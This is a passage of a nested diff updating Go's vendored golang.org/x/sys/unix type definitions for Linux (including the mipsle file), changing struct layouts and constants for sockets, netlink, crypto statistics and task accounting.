-+ CBitFieldMaskBit27 = 0x8000000
-+ CBitFieldMaskBit28 = 0x10000000
-+ CBitFieldMaskBit29 = 0x20000000
-+ CBitFieldMaskBit30 = 0x40000000
-+ CBitFieldMaskBit31 = 0x80000000
-+ CBitFieldMaskBit32 = 0x100000000
-+ CBitFieldMaskBit33 = 0x200000000
-+ CBitFieldMaskBit34 = 0x400000000
-+ CBitFieldMaskBit35 = 0x800000000
-+ CBitFieldMaskBit36 = 0x1000000000
-+ CBitFieldMaskBit37 = 0x2000000000
-+ CBitFieldMaskBit38 = 0x4000000000
-+ CBitFieldMaskBit39 = 0x8000000000
-+ CBitFieldMaskBit40 = 0x10000000000
-+ CBitFieldMaskBit41 = 0x20000000000
-+ CBitFieldMaskBit42 = 0x40000000000
-+ CBitFieldMaskBit43 = 0x80000000000
-+ CBitFieldMaskBit44 = 0x100000000000
-+ CBitFieldMaskBit45 = 0x200000000000
-+ CBitFieldMaskBit46 = 0x400000000000
-+ CBitFieldMaskBit47 = 0x800000000000
-+ CBitFieldMaskBit48 = 0x1000000000000
-+ CBitFieldMaskBit49 = 0x2000000000000
-+ CBitFieldMaskBit50 = 0x4000000000000
-+ CBitFieldMaskBit51 = 0x8000000000000
-+ CBitFieldMaskBit52 = 0x10000000000000
-+ CBitFieldMaskBit53 = 0x20000000000000
-+ CBitFieldMaskBit54 = 0x40000000000000
-+ CBitFieldMaskBit55 = 0x80000000000000
-+ CBitFieldMaskBit56 = 0x100000000000000
-+ CBitFieldMaskBit57 = 0x200000000000000
-+ CBitFieldMaskBit58 = 0x400000000000000
-+ CBitFieldMaskBit59 = 0x800000000000000
-+ CBitFieldMaskBit60 = 0x1000000000000000
-+ CBitFieldMaskBit61 = 0x2000000000000000
-+ CBitFieldMaskBit62 = 0x4000000000000000
-+ CBitFieldMaskBit63 = 0x8000000000000000
-+)
-+
-+type SockaddrStorage struct {
-+ Family uint16
-+ _ [118]int8
-+ _ uint64
-+}
-+
-+type HDGeometry struct {
-+ Heads uint8
-+ Sectors uint8
-+ Cylinders uint16
-+ Start uint64
-+}
-+
-+type Statfs_t struct {
-+ Type int64
-+ Bsize int64
-+ Frsize int64
-+ Blocks uint64
-+ Bfree uint64
-+ Files uint64
-+ Ffree uint64
-+ Bavail uint64
-+ Fsid Fsid
-+ Namelen int64
-+ Flags int64
-+ Spare [5]int64
-+}
-+
-+type TpacketHdr struct {
-+ Status uint64
-+ Len uint32
-+ Snaplen uint32
-+ Mac uint16
-+ Net uint16
-+ Sec uint32
-+ Usec uint32
-+ _ [4]byte
- }
-
- const (
-- CTRL_CMD_UNSPEC = 0x0
-- CTRL_CMD_NEWFAMILY = 0x1
-- CTRL_CMD_DELFAMILY = 0x2
-- CTRL_CMD_GETFAMILY = 0x3
-- CTRL_CMD_NEWOPS = 0x4
-- CTRL_CMD_DELOPS = 0x5
-- CTRL_CMD_GETOPS = 0x6
-- CTRL_CMD_NEWMCAST_GRP = 0x7
-- CTRL_CMD_DELMCAST_GRP = 0x8
-- CTRL_CMD_GETMCAST_GRP = 0x9
-- CTRL_ATTR_UNSPEC = 0x0
-- CTRL_ATTR_FAMILY_ID = 0x1
-- CTRL_ATTR_FAMILY_NAME = 0x2
-- CTRL_ATTR_VERSION = 0x3
-- CTRL_ATTR_HDRSIZE = 0x4
-- CTRL_ATTR_MAXATTR = 0x5
-- CTRL_ATTR_OPS = 0x6
-- CTRL_ATTR_MCAST_GROUPS = 0x7
-- CTRL_ATTR_OP_UNSPEC = 0x0
-- CTRL_ATTR_OP_ID = 0x1
-- CTRL_ATTR_OP_FLAGS = 0x2
-- CTRL_ATTR_MCAST_GRP_UNSPEC = 0x0
-- CTRL_ATTR_MCAST_GRP_NAME = 0x1
-- CTRL_ATTR_MCAST_GRP_ID = 0x2
-+ SizeofTpacketHdr = 0x20
- )
-+
-+type RTCPLLInfo struct {
-+ Ctrl int32
-+ Value int32
-+ Max int32
-+ Min int32
-+ Posmult int32
-+ Negmult int32
-+ Clock int64
-+}
-+
-+type BlkpgPartition struct {
-+ Start int64
-+ Length int64
-+ Pno int32
-+ Devname [64]uint8
-+ Volname [64]uint8
-+ _ [4]byte
-+}
-+
-+const (
-+ BLKPG = 0x20001269
-+)
-+
-+type XDPUmemReg struct {
-+ Addr uint64
-+ Len uint64
-+ Size uint32
-+ Headroom uint32
-+ Flags uint32
-+ _ [4]byte
-+}
-+
-+type CryptoUserAlg struct {
-+ Name [64]int8
-+ Driver_name [64]int8
-+ Module_name [64]int8
-+ Type uint32
-+ Mask uint32
-+ Refcnt uint32
-+ Flags uint32
-+}
-+
-+type CryptoStatAEAD struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatAKCipher struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Verify_cnt uint64
-+ Sign_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCipher struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCompress struct {
-+ Type [64]int8
-+ Compress_cnt uint64
-+ Compress_tlen uint64
-+ Decompress_cnt uint64
-+ Decompress_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatHash struct {
-+ Type [64]int8
-+ Hash_cnt uint64
-+ Hash_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatKPP struct {
-+ Type [64]int8
-+ Setsecret_cnt uint64
-+ Generate_public_key_cnt uint64
-+ Compute_shared_secret_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatRNG struct {
-+ Type [64]int8
-+ Generate_cnt uint64
-+ Generate_tlen uint64
-+ Seed_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatLarval struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportLarval struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportHash struct {
-+ Type [64]int8
-+ Blocksize uint32
-+ Digestsize uint32
-+}
-+
-+type CryptoReportCipher struct {
-+ Type [64]int8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+}
-+
-+type CryptoReportBlkCipher struct {
-+ Type [64]int8
-+ Geniv [64]int8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportAEAD struct {
-+ Type [64]int8
-+ Geniv [64]int8
-+ Blocksize uint32
-+ Maxauthsize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportComp struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportRNG struct {
-+ Type [64]int8
-+ Seedsize uint32
-+}
-+
-+type CryptoReportAKCipher struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportKPP struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportAcomp struct {
-+ Type [64]int8
-+}
-+
-+type LoopInfo struct {
-+ Number int32
-+ Device uint32
-+ Inode uint64
-+ Rdevice uint32
-+ Offset int32
-+ Encrypt_type int32
-+ Encrypt_key_size int32
-+ Flags int32
-+ Name [64]int8
-+ Encrypt_key [32]uint8
-+ Init [2]uint64
-+ Reserved [4]int8
-+ _ [4]byte
-+}
-+
-+type TIPCSubscr struct {
-+ Seq TIPCServiceRange
-+ Timeout uint32
-+ Filter uint32
-+ Handle [8]int8
-+}
-+
-+type TIPCSIOCLNReq struct {
-+ Peer uint32
-+ Id uint32
-+ Linkname [68]int8
-+}
-+
-+type TIPCSIOCNodeIDReq struct {
-+ Peer uint32
-+ Id [16]int8
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_mipsle.go b/vendor/golang.org/x/sys/unix/ztypes_linux_mipsle.go
-index 74c54213..4ed2c8e5 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_linux_mipsle.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_linux_mipsle.go
-@@ -6,19 +6,12 @@
- package unix
-
- const (
-- sizeofPtr = 0x4
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x4
-- sizeofLongLong = 0x8
-- PathMax = 0x1000
-+ SizeofPtr = 0x4
-+ SizeofLong = 0x4
- )
-
- type (
-- _C_short int16
-- _C_int int32
-- _C_long int32
-- _C_long_long int64
-+ _C_long int32
- )
-
- type Timespec struct {
-@@ -52,7 +45,7 @@ type Timex struct {
- Errcnt int32
- Stbcnt int32
- Tai int32
-- Pad_cgo_0 [44]byte
-+ _ [44]byte
- }
-
- type Time_t int32
-@@ -88,13 +81,6 @@ type Rusage struct {
- Nivcsw int32
- }
-
--type Rlimit struct {
-- Cur uint64
-- Max uint64
--}
--
--type _Gid_t uint32
--
- type Stat_t struct {
- Dev uint32
- Pad1 [3]int32
-@@ -115,141 +101,30 @@ type Stat_t struct {
- Pad5 [14]int32
- }
-
--type Statfs_t struct {
-- Type int32
-- Bsize int32
-- Frsize int32
-- Pad_cgo_0 [4]byte
-- Blocks uint64
-- Bfree uint64
-- Files uint64
-- Ffree uint64
-- Bavail uint64
-- Fsid Fsid
-- Namelen int32
-- Flags int32
-- Spare [5]int32
-- Pad_cgo_1 [4]byte
--}
--
- type Dirent struct {
-- Ino uint64
-- Off int64
-- Reclen uint16
-- Type uint8
-- Name [256]int8
-- Pad_cgo_0 [5]byte
--}
--
--type Fsid struct {
-- X__val [2]int32
-+ Ino uint64
-+ Off int64
-+ Reclen uint16
-+ Type uint8
-+ Name [256]int8
-+ _ [5]byte
- }
-
- type Flock_t struct {
-- Type int16
-- Whence int16
-- Pad_cgo_0 [4]byte
-- Start int64
-- Len int64
-- Pid int32
-- Pad_cgo_1 [4]byte
--}
--
--type FscryptPolicy struct {
-- Version uint8
-- Contents_encryption_mode uint8
-- Filenames_encryption_mode uint8
-- Flags uint8
-- Master_key_descriptor [8]uint8
--}
--
--type FscryptKey struct {
-- Mode uint32
-- Raw [64]uint8
-- Size uint32
--}
--
--type KeyctlDHParams struct {
-- Private int32
-- Prime int32
-- Base int32
-+ Type int16
-+ Whence int16
-+ _ [4]byte
-+ Start int64
-+ Len int64
-+ Pid int32
-+ _ [4]byte
- }
-
- const (
-- FADV_NORMAL = 0x0
-- FADV_RANDOM = 0x1
-- FADV_SEQUENTIAL = 0x2
-- FADV_WILLNEED = 0x3
-- FADV_DONTNEED = 0x4
-- FADV_NOREUSE = 0x5
-+ FADV_DONTNEED = 0x4
-+ FADV_NOREUSE = 0x5
- )
-
--type RawSockaddrInet4 struct {
-- Family uint16
-- Port uint16
-- Addr [4]byte /* in_addr */
-- Zero [8]uint8
--}
--
--type RawSockaddrInet6 struct {
-- Family uint16
-- Port uint16
-- Flowinfo uint32
-- Addr [16]byte /* in6_addr */
-- Scope_id uint32
--}
--
--type RawSockaddrUnix struct {
-- Family uint16
-- Path [108]int8
--}
--
--type RawSockaddrLinklayer struct {
-- Family uint16
-- Protocol uint16
-- Ifindex int32
-- Hatype uint16
-- Pkttype uint8
-- Halen uint8
-- Addr [8]uint8
--}
--
--type RawSockaddrNetlink struct {
-- Family uint16
-- Pad uint16
-- Pid uint32
-- Groups uint32
--}
--
--type RawSockaddrHCI struct {
-- Family uint16
-- Dev uint16
-- Channel uint16
--}
--
--type RawSockaddrCAN struct {
-- Family uint16
-- Pad_cgo_0 [2]byte
-- Ifindex int32
-- Addr [8]byte
--}
--
--type RawSockaddrALG struct {
-- Family uint16
-- Type [14]uint8
-- Feat uint32
-- Mask uint32
-- Name [64]uint8
--}
--
--type RawSockaddrVM struct {
-- Family uint16
-- Reserved1 uint16
-- Port uint32
-- Cid uint32
-- Zero [4]uint8
--}
--
- type RawSockaddr struct {
- Family uint16
- Data [14]int8
-@@ -260,41 +135,11 @@ type RawSockaddrAny struct {
- Pad [96]int8
- }
-
--type _Socklen uint32
--
--type Linger struct {
-- Onoff int32
-- Linger int32
--}
--
- type Iovec struct {
- Base *byte
- Len uint32
- }
-
--type IPMreq struct {
-- Multiaddr [4]byte /* in_addr */
-- Interface [4]byte /* in_addr */
--}
--
--type IPMreqn struct {
-- Multiaddr [4]byte /* in_addr */
-- Address [4]byte /* in_addr */
-- Ifindex int32
--}
--
--type IPv6Mreq struct {
-- Multiaddr [16]byte /* in6_addr */
-- Interface uint32
--}
--
--type PacketMreq struct {
-- Ifindex int32
-- Type uint16
-- Alen uint16
-- Address [8]uint8
--}
--
- type Msghdr struct {
- Name *byte
- Namelen uint32
-@@ -311,277 +156,16 @@ type Cmsghdr struct {
- Type int32
- }
-
--type Inet4Pktinfo struct {
-- Ifindex int32
-- Spec_dst [4]byte /* in_addr */
-- Addr [4]byte /* in_addr */
--}
--
--type Inet6Pktinfo struct {
-- Addr [16]byte /* in6_addr */
-- Ifindex uint32
--}
--
--type IPv6MTUInfo struct {
-- Addr RawSockaddrInet6
-- Mtu uint32
--}
--
--type ICMPv6Filter struct {
-- Data [8]uint32
--}
--
--type Ucred struct {
-- Pid int32
-- Uid uint32
-- Gid uint32
--}
--
--type TCPInfo struct {
-- State uint8
-- Ca_state uint8
-- Retransmits uint8
-- Probes uint8
-- Backoff uint8
-- Options uint8
-- Pad_cgo_0 [2]byte
-- Rto uint32
-- Ato uint32
-- Snd_mss uint32
-- Rcv_mss uint32
-- Unacked uint32
-- Sacked uint32
-- Lost uint32
-- Retrans uint32
-- Fackets uint32
-- Last_data_sent uint32
-- Last_ack_sent uint32
-- Last_data_recv uint32
-- Last_ack_recv uint32
-- Pmtu uint32
-- Rcv_ssthresh uint32
-- Rtt uint32
-- Rttvar uint32
-- Snd_ssthresh uint32
-- Snd_cwnd uint32
-- Advmss uint32
-- Reordering uint32
-- Rcv_rtt uint32
-- Rcv_space uint32
-- Total_retrans uint32
--}
--
- const (
-- SizeofSockaddrInet4 = 0x10
-- SizeofSockaddrInet6 = 0x1c
-- SizeofSockaddrAny = 0x70
-- SizeofSockaddrUnix = 0x6e
-- SizeofSockaddrLinklayer = 0x14
-- SizeofSockaddrNetlink = 0xc
-- SizeofSockaddrHCI = 0x6
-- SizeofSockaddrCAN = 0x10
-- SizeofSockaddrALG = 0x58
-- SizeofSockaddrVM = 0x10
-- SizeofLinger = 0x8
-- SizeofIovec = 0x8
-- SizeofIPMreq = 0x8
-- SizeofIPMreqn = 0xc
-- SizeofIPv6Mreq = 0x14
-- SizeofPacketMreq = 0x10
-- SizeofMsghdr = 0x1c
-- SizeofCmsghdr = 0xc
-- SizeofInet4Pktinfo = 0xc
-- SizeofInet6Pktinfo = 0x14
-- SizeofIPv6MTUInfo = 0x20
-- SizeofICMPv6Filter = 0x20
-- SizeofUcred = 0xc
-- SizeofTCPInfo = 0x68
-+ SizeofIovec = 0x8
-+ SizeofMsghdr = 0x1c
-+ SizeofCmsghdr = 0xc
- )
-
- const (
-- IFA_UNSPEC = 0x0
-- IFA_ADDRESS = 0x1
-- IFA_LOCAL = 0x2
-- IFA_LABEL = 0x3
-- IFA_BROADCAST = 0x4
-- IFA_ANYCAST = 0x5
-- IFA_CACHEINFO = 0x6
-- IFA_MULTICAST = 0x7
-- IFLA_UNSPEC = 0x0
-- IFLA_ADDRESS = 0x1
-- IFLA_BROADCAST = 0x2
-- IFLA_IFNAME = 0x3
-- IFLA_MTU = 0x4
-- IFLA_LINK = 0x5
-- IFLA_QDISC = 0x6
-- IFLA_STATS = 0x7
-- IFLA_COST = 0x8
-- IFLA_PRIORITY = 0x9
-- IFLA_MASTER = 0xa
-- IFLA_WIRELESS = 0xb
-- IFLA_PROTINFO = 0xc
-- IFLA_TXQLEN = 0xd
-- IFLA_MAP = 0xe
-- IFLA_WEIGHT = 0xf
-- IFLA_OPERSTATE = 0x10
-- IFLA_LINKMODE = 0x11
-- IFLA_LINKINFO = 0x12
-- IFLA_NET_NS_PID = 0x13
-- IFLA_IFALIAS = 0x14
-- IFLA_MAX = 0x2b
-- RT_SCOPE_UNIVERSE = 0x0
-- RT_SCOPE_SITE = 0xc8
-- RT_SCOPE_LINK = 0xfd
-- RT_SCOPE_HOST = 0xfe
-- RT_SCOPE_NOWHERE = 0xff
-- RT_TABLE_UNSPEC = 0x0
-- RT_TABLE_COMPAT = 0xfc
-- RT_TABLE_DEFAULT = 0xfd
-- RT_TABLE_MAIN = 0xfe
-- RT_TABLE_LOCAL = 0xff
-- RT_TABLE_MAX = 0xffffffff
-- RTA_UNSPEC = 0x0
-- RTA_DST = 0x1
-- RTA_SRC = 0x2
-- RTA_IIF = 0x3
-- RTA_OIF = 0x4
-- RTA_GATEWAY = 0x5
-- RTA_PRIORITY = 0x6
-- RTA_PREFSRC = 0x7
-- RTA_METRICS = 0x8
-- RTA_MULTIPATH = 0x9
-- RTA_FLOW = 0xb
-- RTA_CACHEINFO = 0xc
-- RTA_TABLE = 0xf
-- RTN_UNSPEC = 0x0
-- RTN_UNICAST = 0x1
-- RTN_LOCAL = 0x2
-- RTN_BROADCAST = 0x3
-- RTN_ANYCAST = 0x4
-- RTN_MULTICAST = 0x5
-- RTN_BLACKHOLE = 0x6
-- RTN_UNREACHABLE = 0x7
-- RTN_PROHIBIT = 0x8
-- RTN_THROW = 0x9
-- RTN_NAT = 0xa
-- RTN_XRESOLVE = 0xb
-- RTNLGRP_NONE = 0x0
-- RTNLGRP_LINK = 0x1
-- RTNLGRP_NOTIFY = 0x2
-- RTNLGRP_NEIGH = 0x3
-- RTNLGRP_TC = 0x4
-- RTNLGRP_IPV4_IFADDR = 0x5
-- RTNLGRP_IPV4_MROUTE = 0x6
-- RTNLGRP_IPV4_ROUTE = 0x7
-- RTNLGRP_IPV4_RULE = 0x8
-- RTNLGRP_IPV6_IFADDR = 0x9
-- RTNLGRP_IPV6_MROUTE = 0xa
-- RTNLGRP_IPV6_ROUTE = 0xb
-- RTNLGRP_IPV6_IFINFO = 0xc
-- RTNLGRP_IPV6_PREFIX = 0x12
-- RTNLGRP_IPV6_RULE = 0x13
-- RTNLGRP_ND_USEROPT = 0x14
-- SizeofNlMsghdr = 0x10
-- SizeofNlMsgerr = 0x14
-- SizeofRtGenmsg = 0x1
-- SizeofNlAttr = 0x4
-- SizeofRtAttr = 0x4
-- SizeofIfInfomsg = 0x10
-- SizeofIfAddrmsg = 0x8
-- SizeofRtMsg = 0xc
-- SizeofRtNexthop = 0x8
-+ SizeofSockFprog = 0x8
- )
-
--type NlMsghdr struct {
-- Len uint32
-- Type uint16
-- Flags uint16
-- Seq uint32
-- Pid uint32
--}
--
--type NlMsgerr struct {
-- Error int32
-- Msg NlMsghdr
--}
--
--type RtGenmsg struct {
-- Family uint8
--}
--
--type NlAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type RtAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type IfInfomsg struct {
-- Family uint8
-- X__ifi_pad uint8
-- Type uint16
-- Index int32
-- Flags uint32
-- Change uint32
--}
--
--type IfAddrmsg struct {
-- Family uint8
-- Prefixlen uint8
-- Flags uint8
-- Scope uint8
-- Index uint32
--}
--
--type RtMsg struct {
-- Family uint8
-- Dst_len uint8
-- Src_len uint8
-- Tos uint8
-- Table uint8
-- Protocol uint8
-- Scope uint8
-- Type uint8
-- Flags uint32
--}
--
--type RtNexthop struct {
-- Len uint16
-- Flags uint8
-- Hops uint8
-- Ifindex int32
--}
--
--const (
-- SizeofSockFilter = 0x8
-- SizeofSockFprog = 0x8
--)
--
--type SockFilter struct {
-- Code uint16
-- Jt uint8
-- Jf uint8
-- K uint32
--}
--
--type SockFprog struct {
-- Len uint16
-- Pad_cgo_0 [2]byte
-- Filter *SockFilter
--}
--
--type InotifyEvent struct {
-- Wd int32
-- Mask uint32
-- Cookie uint32
-- Len uint32
--}
--
--const SizeofInotifyEvent = 0x10
--
- type PtraceRegs struct {
- Regs [32]uint64
- Lo uint64
-@@ -610,16 +194,7 @@ type Sysinfo_t struct {
- Totalhigh uint32
- Freehigh uint32
- Unit uint32
-- X_f [8]int8
--}
--
--type Utsname struct {
-- Sysname [65]int8
-- Nodename [65]int8
-- Release [65]int8
-- Version [65]int8
-- Machine [65]int8
-- Domainname [65]int8
-+ _ [8]int8
- }
-
- type Ustat_t struct {
-@@ -637,37 +212,14 @@ type EpollEvent struct {
- }
-
- const (
-- AT_FDCWD = -0x64
-- AT_REMOVEDIR = 0x200
-- AT_SYMLINK_FOLLOW = 0x400
-- AT_SYMLINK_NOFOLLOW = 0x100
--)
--
--type PollFd struct {
-- Fd int32
-- Events int16
-- Revents int16
--}
--
--const (
-- POLLIN = 0x1
-- POLLPRI = 0x2
-- POLLOUT = 0x4
- POLLRDHUP = 0x2000
-- POLLERR = 0x8
-- POLLHUP = 0x10
-- POLLNVAL = 0x20
- )
-
- type Sigset_t struct {
-- X__val [32]uint32
-+ Val [32]uint32
- }
-
--const RNDGETENTCNT = 0x40045200
--
--const PERF_IOC_FLAG_GROUP = 0x1
--
--const _SC_PAGESIZE = 0x1e
-+const _C__NSIG = 0x80
-
- type Termios struct {
- Iflag uint32
-@@ -680,20 +232,12 @@ type Termios struct {
- Ospeed uint32
- }
-
--type Winsize struct {
-- Row uint16
-- Col uint16
-- Xpixel uint16
-- Ypixel uint16
--}
--
- type Taskstats struct {
- Version uint16
-- Pad_cgo_0 [2]byte
- Ac_exitcode uint32
- Ac_flag uint8
- Ac_nice uint8
-- Pad_cgo_1 [6]byte
-+ _ [4]byte
- Cpu_count uint64
- Cpu_delay_total uint64
- Blkio_count uint64
-@@ -705,13 +249,13 @@ type Taskstats struct {
- Ac_comm [32]int8
- Ac_sched uint8
- Ac_pad [3]uint8
-- Pad_cgo_2 [4]byte
-+ _ [4]byte
- Ac_uid uint32
- Ac_gid uint32
- Ac_pid uint32
- Ac_ppid uint32
- Ac_btime uint32
-- Pad_cgo_3 [4]byte
-+ _ [4]byte
- Ac_etime uint64
- Ac_utime uint64
- Ac_stime uint64
-@@ -735,55 +279,319 @@ type Taskstats struct {
- Cpu_scaled_run_real_total uint64
- Freepages_count uint64
- Freepages_delay_total uint64
-+ Thrashing_count uint64
-+ Thrashing_delay_total uint64
-+ Ac_btime64 uint64
- }
-
-+type cpuMask uint32
-+
-+const (
-+ _NCPUBITS = 0x20
-+)
-+
- const (
-- TASKSTATS_CMD_UNSPEC = 0x0
-- TASKSTATS_CMD_GET = 0x1
-- TASKSTATS_CMD_NEW = 0x2
-- TASKSTATS_TYPE_UNSPEC = 0x0
-- TASKSTATS_TYPE_PID = 0x1
-- TASKSTATS_TYPE_TGID = 0x2
-- TASKSTATS_TYPE_STATS = 0x3
-- TASKSTATS_TYPE_AGGR_PID = 0x4
-- TASKSTATS_TYPE_AGGR_TGID = 0x5
-- TASKSTATS_TYPE_NULL = 0x6
-- TASKSTATS_CMD_ATTR_UNSPEC = 0x0
-- TASKSTATS_CMD_ATTR_PID = 0x1
-- TASKSTATS_CMD_ATTR_TGID = 0x2
-- TASKSTATS_CMD_ATTR_REGISTER_CPUMASK = 0x3
-- TASKSTATS_CMD_ATTR_DEREGISTER_CPUMASK = 0x4
-+ CBitFieldMaskBit0 = 0x1
-+ CBitFieldMaskBit1 = 0x2
-+ CBitFieldMaskBit2 = 0x4
-+ CBitFieldMaskBit3 = 0x8
-+ CBitFieldMaskBit4 = 0x10
-+ CBitFieldMaskBit5 = 0x20
-+ CBitFieldMaskBit6 = 0x40
-+ CBitFieldMaskBit7 = 0x80
-+ CBitFieldMaskBit8 = 0x100
-+ CBitFieldMaskBit9 = 0x200
-+ CBitFieldMaskBit10 = 0x400
-+ CBitFieldMaskBit11 = 0x800
-+ CBitFieldMaskBit12 = 0x1000
-+ CBitFieldMaskBit13 = 0x2000
-+ CBitFieldMaskBit14 = 0x4000
-+ CBitFieldMaskBit15 = 0x8000
-+ CBitFieldMaskBit16 = 0x10000
-+ CBitFieldMaskBit17 = 0x20000
-+ CBitFieldMaskBit18 = 0x40000
-+ CBitFieldMaskBit19 = 0x80000
-+ CBitFieldMaskBit20 = 0x100000
-+ CBitFieldMaskBit21 = 0x200000
-+ CBitFieldMaskBit22 = 0x400000
-+ CBitFieldMaskBit23 = 0x800000
-+ CBitFieldMaskBit24 = 0x1000000
-+ CBitFieldMaskBit25 = 0x2000000
-+ CBitFieldMaskBit26 = 0x4000000
-+ CBitFieldMaskBit27 = 0x8000000
-+ CBitFieldMaskBit28 = 0x10000000
-+ CBitFieldMaskBit29 = 0x20000000
-+ CBitFieldMaskBit30 = 0x40000000
-+ CBitFieldMaskBit31 = 0x80000000
-+ CBitFieldMaskBit32 = 0x100000000
-+ CBitFieldMaskBit33 = 0x200000000
-+ CBitFieldMaskBit34 = 0x400000000
-+ CBitFieldMaskBit35 = 0x800000000
-+ CBitFieldMaskBit36 = 0x1000000000
-+ CBitFieldMaskBit37 = 0x2000000000
-+ CBitFieldMaskBit38 = 0x4000000000
-+ CBitFieldMaskBit39 = 0x8000000000
-+ CBitFieldMaskBit40 = 0x10000000000
-+ CBitFieldMaskBit41 = 0x20000000000
-+ CBitFieldMaskBit42 = 0x40000000000
-+ CBitFieldMaskBit43 = 0x80000000000
-+ CBitFieldMaskBit44 = 0x100000000000
-+ CBitFieldMaskBit45 = 0x200000000000
-+ CBitFieldMaskBit46 = 0x400000000000
-+ CBitFieldMaskBit47 = 0x800000000000
-+ CBitFieldMaskBit48 = 0x1000000000000
-+ CBitFieldMaskBit49 = 0x2000000000000
-+ CBitFieldMaskBit50 = 0x4000000000000
-+ CBitFieldMaskBit51 = 0x8000000000000
-+ CBitFieldMaskBit52 = 0x10000000000000
-+ CBitFieldMaskBit53 = 0x20000000000000
-+ CBitFieldMaskBit54 = 0x40000000000000
-+ CBitFieldMaskBit55 = 0x80000000000000
-+ CBitFieldMaskBit56 = 0x100000000000000
-+ CBitFieldMaskBit57 = 0x200000000000000
-+ CBitFieldMaskBit58 = 0x400000000000000
-+ CBitFieldMaskBit59 = 0x800000000000000
-+ CBitFieldMaskBit60 = 0x1000000000000000
-+ CBitFieldMaskBit61 = 0x2000000000000000
-+ CBitFieldMaskBit62 = 0x4000000000000000
-+ CBitFieldMaskBit63 = 0x8000000000000000
- )
-
--type Genlmsghdr struct {
-- Cmd uint8
-- Version uint8
-- Reserved uint16
-+type SockaddrStorage struct {
-+ Family uint16
-+ _ [122]int8
-+ _ uint32
-+}
-+
-+type HDGeometry struct {
-+ Heads uint8
-+ Sectors uint8
-+ Cylinders uint16
-+ Start uint32
-+}
-+
-+type Statfs_t struct {
-+ Type int32
-+ Bsize int32
-+ Frsize int32
-+ _ [4]byte
-+ Blocks uint64
-+ Bfree uint64
-+ Files uint64
-+ Ffree uint64
-+ Bavail uint64
-+ Fsid Fsid
-+ Namelen int32
-+ Flags int32
-+ Spare [5]int32
-+ _ [4]byte
-+}
-+
-+type TpacketHdr struct {
-+ Status uint32
-+ Len uint32
-+ Snaplen uint32
-+ Mac uint16
-+ Net uint16
-+ Sec uint32
-+ Usec uint32
-+}
-+
-+const (
-+ SizeofTpacketHdr = 0x18
-+)
-+
-+type RTCPLLInfo struct {
-+ Ctrl int32
-+ Value int32
-+ Max int32
-+ Min int32
-+ Posmult int32
-+ Negmult int32
-+ Clock int32
-+}
-+
-+type BlkpgPartition struct {
-+ Start int64
-+ Length int64
-+ Pno int32
-+ Devname [64]uint8
-+ Volname [64]uint8
-+ _ [4]byte
- }
-
- const (
-- CTRL_CMD_UNSPEC = 0x0
-- CTRL_CMD_NEWFAMILY = 0x1
-- CTRL_CMD_DELFAMILY = 0x2
-- CTRL_CMD_GETFAMILY = 0x3
-- CTRL_CMD_NEWOPS = 0x4
-- CTRL_CMD_DELOPS = 0x5
-- CTRL_CMD_GETOPS = 0x6
-- CTRL_CMD_NEWMCAST_GRP = 0x7
-- CTRL_CMD_DELMCAST_GRP = 0x8
-- CTRL_CMD_GETMCAST_GRP = 0x9
-- CTRL_ATTR_UNSPEC = 0x0
-- CTRL_ATTR_FAMILY_ID = 0x1
-- CTRL_ATTR_FAMILY_NAME = 0x2
-- CTRL_ATTR_VERSION = 0x3
-- CTRL_ATTR_HDRSIZE = 0x4
-- CTRL_ATTR_MAXATTR = 0x5
-- CTRL_ATTR_OPS = 0x6
-- CTRL_ATTR_MCAST_GROUPS = 0x7
-- CTRL_ATTR_OP_UNSPEC = 0x0
-- CTRL_ATTR_OP_ID = 0x1
-- CTRL_ATTR_OP_FLAGS = 0x2
-- CTRL_ATTR_MCAST_GRP_UNSPEC = 0x0
-- CTRL_ATTR_MCAST_GRP_NAME = 0x1
-- CTRL_ATTR_MCAST_GRP_ID = 0x2
-+ BLKPG = 0x20001269
- )
-+
-+type XDPUmemReg struct {
-+ Addr uint64
-+ Len uint64
-+ Size uint32
-+ Headroom uint32
-+ Flags uint32
-+ _ [4]byte
-+}
-+
-+type CryptoUserAlg struct {
-+ Name [64]int8
-+ Driver_name [64]int8
-+ Module_name [64]int8
-+ Type uint32
-+ Mask uint32
-+ Refcnt uint32
-+ Flags uint32
-+}
-+
-+type CryptoStatAEAD struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatAKCipher struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Verify_cnt uint64
-+ Sign_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCipher struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
